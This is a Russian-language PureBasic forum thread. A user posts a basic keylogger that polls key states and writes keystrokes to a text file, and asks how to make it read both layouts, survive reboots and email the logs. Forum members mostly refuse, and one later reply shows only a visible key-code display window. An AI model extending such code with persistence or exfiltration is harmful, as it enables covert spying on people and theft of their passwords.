PureBasic - форум

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » PureBasic - форум » Программирование на PureBasic » Вирус-шпион на purebasic


Вирус-шпион на purebasic

Сообщений 1 страница 5 из 5

1

Здравствуйте. Недавно скачал purebasic и нашел там код вируса-шпиона, но мне бы хотелось его усовершенствовать (потому что он самый простой хоть и делает большие задачи) но так как я в программировании не понимаю, решил обратиться за помощью на форум, надеюсь мне помогут.

Код вируса

If OpenFile(0,"текст.txt")
  FileSeek(0,Lof(00))
  Repeat
    Delay(10)
    For r=0 To 255 ;0..4 - системные бипперы - нафиг не надо
      If GetAsyncKeyState_(r)=-32767 ; эта цифирька означает, что это нажата последняя клавиша чтоб без повторов, с повторами
        WriteByte(0,r)
        FlushFileBuffers(0)
      EndIf
    Next r   
  Until GetAsyncKeyState_(#PB_Shortcut_Escape)
  CloseFile(0)
EndIf
End

Он создает текстовый документ и записывает все нажатия клавиатуры но только по английски и при перезагрузки системы отключается. Можно ли сделать что бы он распознавал обе раскладки клавиатуры, не отключался при перезагрузки и передавал информацию по электронной почте. Буду очень благодарен если поможете.

0

2

RIK написал(а):

нашел там код вируса-шпиона

Ни какой это не вирус - разве этот код может размножаться?
Да и не шпион - разве это код может запуститься на компьютере без помощи юзера?.
Просто код, который записывает нажатия клавиш в файл.

RIK написал(а):

надеюсь мне помогут.

Надеюсь, что нет.

0

3

RIK, тут вопросы по программированию, а к вирусописателям разговор совсем другой. Так что извиняйте, читайте справку и курите WinAPI.

P.S. В гугле про распознавание раскладок можно полно кодов на пурике найти.

0

4

Никита http://otvet.mail.ru/question/42321112

0

5

Trect.RECT
Trect\left   =0 ;X-linke obere Ecke
Trect\top    =0;Y-linke obere Ecke
Trect\right  =80 ;X-rechte untere Ecke
Trect\bottom =25 ;Y-rechte untere Ecke




OpenWindow(1,0,0,240,120,"Инфо", #PB_Window_ScreenCentered|#PB_Window_SystemMenu)

PureCOLOR_SetWindowColor(1, $000000)
  StickyWindow(1,1)
  EditorGadget(2,0,0,0,0)
  TreeGadget(3, 0,0,240,100, #PB_Tree_NoButtons| #PB_Tree_NoLines)

     
PureCOLOR_SetGadgetColor(3, $f8ff89, $000000)
ProgressBarGadget(4,0,100,240,20,0,290)
HDC=GetDC_(GadgetID(4))
SetBkMode_(HDC,#TRANSPARENT) ; Hintergrund Transparent
SetTextColor_(HDC,$FF0000)   ; Textfarbe
 

  SetGadgetText(2, AllVal.s)
  Repeat
   
    SetActiveWindow_(GadgetID(3))
      SetActiveWindow_(WindowID(1))
    SendMessage_(GadgetID(3),#EM_SETSEL,$FFFFFFF,$fffffff)
    For r=0 To 290 ;0..4 - системные бипперы - нафиг не надо
      CreateImage(r, 16,16)
      StartDrawing(ImageOutput(r))
      Box(0,0,20,20, $f8ff89)
      DrawText(2,0,Chr(r), $000000, $f8ff89 )
      StopDrawing()
      If GetAsyncKeyState_(1)<>-32767
      If GetAsyncKeyState_(r)=-32767 ; эта цифирька означает, что это нажата последняя клавиша чтоб без повторов, с повторами
        SetGadgetState(4,0)
       
        For x=0 To 290
            StartDrawing(WindowOutput(1))
       
             
            StopDrawing()
           
          SetGadgetState(4, GetGadgetState(4)+x)
            DrawText_(HDC, Str(x/2.9) + "%",-1,Trect,#DT_SINGLELINE)
          Next
        AllVal.s =  AllVal.s + "код - " + Str(r) + "       " +  Chr(r) + Chr(13)
        AddGadgetItem(3, -1, "код - " + Str(r), ImageID(r))
        SetGadgetState(4, 290)
  DrawText_(HDC, Str(290/2.9) + "%",-1,Trect,#DT_SINGLELINE)
   EndIf
EndIf
    Next r 
   
   
   
  Until WaitWindowEvent() = #PB_Event_CloseWindow
 
 

Сойдет?

0


Вы здесь » PureBasic - форум » Программирование на PureBasic » Вирус-шпион на purebasic